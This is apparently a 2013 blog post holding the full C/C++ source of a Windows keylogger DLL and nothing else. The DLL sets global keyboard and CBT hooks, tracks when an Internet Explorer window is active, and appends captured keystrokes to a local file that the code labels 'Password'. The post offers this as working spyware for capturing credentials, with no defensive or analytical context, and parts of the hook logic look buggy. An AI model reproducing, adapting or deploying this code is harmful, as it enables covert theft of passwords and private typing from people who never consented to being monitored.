//.header

#ifndef _DLLHOOK_H_
#define _DLLHOOK_H_

#include <windows.h>
#define  DLL_EXPORT_FUN __declspec(dllexport)
DLL_EXPORT_FUN BOOL InstallHook();
DLL_EXPORT_FUN BOOL UninstallHook();

#endif

//.cpp

#include <process.h>
#include <stdio.h>
#include "DllHook.h"

#define Password "C:\\result.txt"
#define TextLength 20
#define CHARNUMBER 5
#define CAPITALNUM 10

HHOOK hHookKeyboard=0;
HHOOK hHookMsg=0;
HANDLE hDll=NULL;
char TextMsg[TextLength]={0};
bool  IE_is_actived=true;
HWND hhWnd=NULL;
FILE *pfFile=NULL;
unsigned int Counter=0;
int shift = 32;
short  flag=0;;
char tombnum[CHARNUMBER]={0};
enum NUM
{
    SHIFT,
        CONTROL,
        ALT,
        CAPITAL
};
static int    TempArray[CHARNUMBER][CAPITAL+1];
static char text[TextLength];

void InitTable()
{
    
    for (int i=0; i<CHARNUMBER; i++)
        for (int j=0; j<CAPITALNUM+1; j++)
            TempArray[i][j]=0;
}

BOOL APIENTRY DllMain( HANDLE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved )
{
    switch(ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        {
            hDll=hModule;
            hhWnd=GetActiveWindow();
            MessageBox(hhWnd,"DLLKEYBOARD","提示",MB_OKCANCEL);
        }
        //A new process is attempting to access the DLL; one thread is assumed.
        break;
    case DLL_PROCESS_DETACH:
        //A process is detaching from the DLL.
        UninstallHook();
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        //One of the additional threads (not the first thread) of a process is detaching from the DLL.
        break;
    }
    return TRUE;
}


LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam)
{
    int i, temp;
    int flag_shift;
    int flag_capital;
    int flag_alt;
    int flag_control;
    
    if (IE_is_actived)
    {    
        if ((wParam == VK_SHIFT) || (wParam == VK_CAPITAL) || (wParam == VK_MENU) || (wParam == VK_CONTROL))
        {
            flag_shift   = 0x8000 & GetKeyState(VK_SHIFT);
            flag_capital = 0x0001 & GetKeyState(VK_CAPITAL);
            flag_alt     = 0x8000 & GetKeyState(VK_MENU);
            flag_control = 0x8000 & GetKeyState(VK_CONTROL);
        }
        if    (wParam!=VK_TAB && wParam!=VK_ESCAPE && wParam !=VK_LEFT && wParam!=VK_RIGHT &&
            wParam!=VK_UP && wParam!=VK_DOWN && wParam!=VK_END && wParam!=VK_HOME &&
            wParam!=VK_PRIOR && wParam!=VK_NEXT && wParam!=VK_INSERT && wParam!=VK_NUMLOCK &&
            wParam!=VK_SCROLL && wParam!=VK_PAUSE && wParam!=VK_LWIN && wParam!=VK_RWIN &&
            wParam!=VK_F1 && wParam!=VK_F2 && wParam!=VK_F3 && wParam!=VK_F4 && wParam!=VK_F5 &&
            wParam!=VK_F6 && wParam!=VK_F7 && wParam!=VK_F8 && wParam!=VK_F9 &&wParam!=VK_F10 &&
            wParam!=VK_F11 && wParam!=VK_F12)
        {
            if  ((0x80000000 & lParam) == 0)    //WM_KEYDOWN?
            {
                if (wParam>=0x41 && wParam<=0x5a)
                    wParam+=32;                     //Kisbeture konvertalas
                if (wParam==VK_SHIFT || wParam==VK_CONTROL || wParam==VK_MENU || wParam==VK_CAPITAL)
                {
                    if (wParam==VK_CAPITAL)
                        temp=1;
                    else temp=0;
                    TempArray[Counter][wParam-16-temp]=1;    
                }    
                tombnum[Counter] = wParam;
                Counter++;
            }
            else                                //WM_KEYUP?
                if (wParam==VK_SHIFT || wParam==VK_CONTROL || wParam==VK_MENU || wParam==VK_CAPITAL)
                {
                    if (wParam==VK_CAPITAL)
                        temp=1;
                    else temp=0;
                    TempArray[Counter][wParam-16-temp]=2;    
                    tombnum[Counter] = wParam;
                    Counter++;
                }
                if (Counter==CHARNUMBER)
                {
                    pfFile = fopen(Password, "a+");
                    
                    for (i=0; i<(signed)Counter; i++)
                    {
                        switch(tombnum[i])
                        {
                        case VK_DELETE :
                            fprintf(pfFile, "%s", "<d>");
                            break;
                            
                        case VK_RETURN :
                            fprintf(pfFile, "%s", "\n");
                            break;
                            
                        case VK_BACK :
                            fprintf(pfFile, "%s", "<b>");
                            break;
                            
                        case VK_SHIFT :
                            if (TempArray[i][SHIFT]==1)
                                fprintf(pfFile, "%s", "<sd>");
                            else
                                fprintf(pfFile, "%s", "<su>");
                            break;
                            
                        case VK_CONTROL :
                            if (TempArray[i][CONTROL]==1)
                                fprintf(pfFile, "%s", "<ctd>");
                            else
                                fprintf(pfFile, "%s", "<ctu>");
                            break;
                            
                        case VK_MENU :
                            if (TempArray[i][ALT]==1)
                                fprintf(pfFile, "%s", "<ad>");
                            else
                                fprintf(pfFile, "%s", "<au>");
                            break;
                            
                        case VK_CAPITAL :
                            if (TempArray[i][CAPITAL]==1)
                                fprintf(pfFile, "%s", "<cpd>");
                            else
                                fprintf(pfFile, "%s", "<cpu>");
                            break;
                            
                        default:
                            fprintf(pfFile, "%c", tombnum[i]);        
                            break;
                        }
                    }
                    fclose (pfFile);
                    Counter=0;
                    InitTable();
                }
        }
    }
    return CallNextHookEx(hHookKeyboard, code, wParam, lParam);
}

LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    
    if(nCode==HCBT_ACTIVATE)
    {
        GetClassName(hhWnd,TextMsg,TextLength);
        {
            if (TextMsg[0]=='I'&&TextMsg[1]=='E')
                IE_is_actived=true;
            else
                IE_is_actived=false;
        }
        return 1;
    }
    else
        return CallNextHookEx(hHookMsg,nCode,wParam,lParam);
}    

DLL_EXPORT_FUN BOOL InstallHook()
{
    
    hHookKeyboard=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,(HINSTANCE)hDll,(DWORD)NULL);
    if (hHookKeyboard==NULL)
    {
        return false;
    }
    hHookMsg=SetWindowsHookEx(WH_CBT,(HOOKPROC)CBTProc,(HINSTANCE)hDll,(DWORD)NULL);
    if (hHookMsg==NULL)
    {
        return false;
    }
    return true;
}


DLL_EXPORT_FUN BOOL UninstallHook()
{
    
    if(UnhookWindowsHookEx(hHookKeyboard)==0)
        return false;
    if (UnhookWindowsHookEx(hHookMsg)==0)
        return false;
    else
        return TRUE;
}

 

 

 

posted on 2013-07-21 17:15  5t4rk  阅读(463)  评论(0编辑  收藏  举报